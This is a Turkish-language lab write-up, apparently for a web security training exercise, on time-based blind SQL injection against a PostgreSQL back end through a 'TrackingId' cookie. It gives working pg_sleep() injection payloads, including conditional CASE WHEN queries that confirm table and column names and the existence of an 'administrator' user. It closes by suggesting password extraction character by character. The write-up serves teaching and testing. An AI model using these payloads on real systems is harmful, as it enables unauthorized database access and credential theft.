Sleep() Fonksiyonunu Kullanarak Blind SQLi Sömürme
Bu çalışmamızda database’in cevap dönme süresini kullarak database’i etkileyip etkileyemediğimize bakacağız. Uygulamamızı Burp Suite ile açıyor ve giden GET isteklerini kontrol ediyoruz. Uygulamamızda “TrackingId” değeri gittiğini görüyoruz. (‘) tırnak ile sorguyu bozuyoruz ama 200 OK almaya devam ediyoruz. Sayfa yapısında da değişen bir şey görmüyoruz. Blind SQL türünde databaseden veri çekme ya da database hatası görmeyiz. Bu nedenle ismi Blind SQLi.

Sleep() fonksiyonları için buradakileri deneyebilirsiniz. Uygulamadaki database bilgisine göre göndereceğiniz sleep() fonksiyonu değişiklik gösterecektir. İsteği değiştirmeden gönderdiğimizde sayfa 79 milisaniyede yüklenmektedir.

Denemeler sonucunda database’in PostgreSQL olduğunu görüyoruz. Çünkü sadece ona ait sleep() fonsiyonunu yani SELECT pg_sleep(10) değerini çalıştırdığını ve sayfanın 10,140 milisaniyede yüklendiğini görüyoruz.
TrackingId=Bc400PqErMRSz64H' || (SELECT pg_sleep(10))--

Burada sorguda mantıksal veya işaretini kulladık. ( | | ) AND yada OR gibi bir operatörüde kullanabiliriz ama ekrana bir çıktı beklemediğimiz için çalışmayacaktır. LAB’a döndüğünüzde tamamladığınızı görebilirsiniz.

Bunun yanı sıra Blind SQL’de ekrana bir çıktı gelmediği için bilgileri koşullar ile öğrenebilirsiniz. Örneğin PostgreSQL için ağağıdaki sorguyu kullanabiliriz. Bkz. Blind SQL’den yararlanmak istiyorsak biraz OSINT bilgisine ihityacımız olacak. Örneğin tablo ismini tahmin edebiliriz, kolon ismini tahmin edebiliriz, içerisinde “X” geçiyorsa şeklinde bir koşulda girebiliriz. Eğer koşul çalışırsa istek 10,xxx milisaniye geç gelecektir. Sağlanmaz ise hemen gelecektir. Böylelikle parça parça bilgiler elde edilebilir.
SELECT CASE WHEN (Buraya koşul yazılacak) THEN pg_sleep(10) ELSE pg_sleep(0) END
Aşağıdaki koşulu denediğimizde gecikme olduğunu görüyoruz.
TrackingId=C1MTlKuhIOVJ9lfv' || (SELECT CASE WHEN (1=1) THEN pg_sleep(10) ELSE pg_sleep(0) END)--

Daha önce çözdüğümüz LAB’lardan yola çıkarak başka koşullarda gönderiyoruz.
TrackingId=C1MTlKuhIOVJ9lfv' || (SELECT CASE WHEN ((SELECT COUNT(*) FROM information_schema.columns WHERE table_name='users' AND column_name='username')> 0) THEN pg_sleep(10) ELSE pg_sleep(0) END)--

- information_schema.columns:
- Veritabanındaki tüm sütunların (kolonların) bilgilerini içerir.
- table_name=’users’:
- users tablosundaki sütunları kontrol eder.
- column_name=’email’:
- users tablosunda email adında bir sütun olup olmadığını kontrol eder.
- COUNT(*) > 0:
- Eğer users tablosunda email adında bir sütun varsa, sonuç 1 veya daha fazla olur ve sistem 10 saniye bekler.
Daha önceki LAB’larda “administrator” adında bir kullanıcı olduğunu biliyoruz. Sorguyu biraz geliştiriyoruz. Bunun için ChatGPT’den destek alabilirsiniz. Sonuçta hepimiz database’ler üzerine çalışmıyoruz.
TrackingId=jUtKEoaZBC93nWwk' || (SELECT CASE WHEN ((SELECT COUNT(*) FROM information_schema.columns WHERE table_name='users' AND column_name='email') > 0 AND (SELECT COUNT(*) FROM users WHERE username='administrator') > 0) THEN pg_sleep(10) ELSE pg_sleep(0) END)--

Aynı sorguyu “bilisimcikiz” diye bir kullanıcı varsa koşulu ile gönderiyoruz bu sefer bekleme olmadığını görüyoruz.
TrackingId=jUtKEoaZBC93nWwk' || (SELECT CASE WHEN ((SELECT COUNT(*) FROM information_schema.columns WHERE table_name='users' AND column_name='email') > 0 AND (SELECT COUNT(*) FROM users WHERE username='bilisimcikiz') > 0) THEN pg_sleep(10) ELSE pg_sleep(0) END)--

Böylelikle “administrator” kullanıcısının olduğunu “bilisimcikiz” kullanıcısının database’de olmadığına kanaat getiriyoruz. Bundan sonra örneğin “password” kolonu var mı? Varsa içerisinde “a” harfi geçen bir değer var mı? Vb. koşullar ile Blind SQL’i istismar edebiliriz.